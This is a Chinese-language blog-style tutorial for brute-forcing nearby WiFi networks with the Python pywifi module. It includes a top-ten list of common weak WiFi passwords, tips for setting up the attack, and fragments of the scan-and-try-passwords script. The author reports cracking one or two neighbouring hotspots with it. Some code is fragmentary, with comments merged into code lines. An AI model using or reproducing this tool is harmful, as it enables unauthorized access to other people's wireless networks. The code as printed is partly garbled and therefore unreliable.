摘要: 我得說明下這個東西一點都不高端,甚至看起來有點糟糕。而且用的是單線程~,因為過幾天要搬家了,於是。。
環境准備
-
python2.7
-
湊合的linux
-
差不多的無線網卡
-
弱口令字典
-
清除系統中的任何wifi連接記錄(非常重要!!!)
-
首先,這個模塊在win下有點雞肋,作者在調用WLANAPI時沒有做好WLAN_SECURITY_ATTRIBUTES的封裝,所以推薦在linux下跑,我測試所使用的是Kali 2.0 自帶python 2.7.6 ,可直接通過 pip install pywifi 安裝。
導入模塊
這里用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判斷需要修改,不然會有很多的提示信息。
from pywifi import *
import time
import sys
字典准備
效率很重要,畢竟這東西跑起來可真慢,下面是天朝用的比較多的wifi弱口令TOP10
-
12345678
-
123456789
-
88888888
-
1234567890
-
00000000
-
87654321
-
66668888
-
11223344
-
147258369
-
11111111
配置掃描器
推薦掃描時常可以設置在15-20秒之間 測試時常則可以自定義,考慮到認證速度於距離的關系,我一般設置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪里

print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,
"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,
"KEY","="*70)
#將每一個熱點信息逐一進行測試 for i,x in enumerate(scanres):
#測試完畢后,成功的結果講存儲到files中 res = test(nums-i,iface,x,keys,output,testtimes)
if res: open(files,"a").write(res)
掃描周圍熱點
def scans(face,timeout): #開始掃描 face.scan() time.sleep(timeout)
#在若干秒后獲取掃描結果 return face.scan_results()
熱點測試
這里后續推薦將掃描過程數據入庫,防止重復掃描,且更加直觀。

stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,
7,x.signal,10,len(key)-n,10,k.replace("\n","")))
stu.flush()
if code == 4:
face.disconnect()
return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)
return False
案例
這里顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然后開始坑爹的跑起來了
-
WIFIID 熱點的id號 每跑一個會減1
-
SSID OR BSSID 熱點的ssid名或mac地址
-
N 對熱點的連接狀態,這個在
-
time 當前所花去的時間
-
signal 熱點的信號強度,若小越好
-
KEYNUM 測試密碼的id 每跑一個會減1
-
KEY 當前測試的密碼

結果還不錯,各位的安全意識不像以前那么蛋疼了,掃出一兩個,其中一個還是自家的
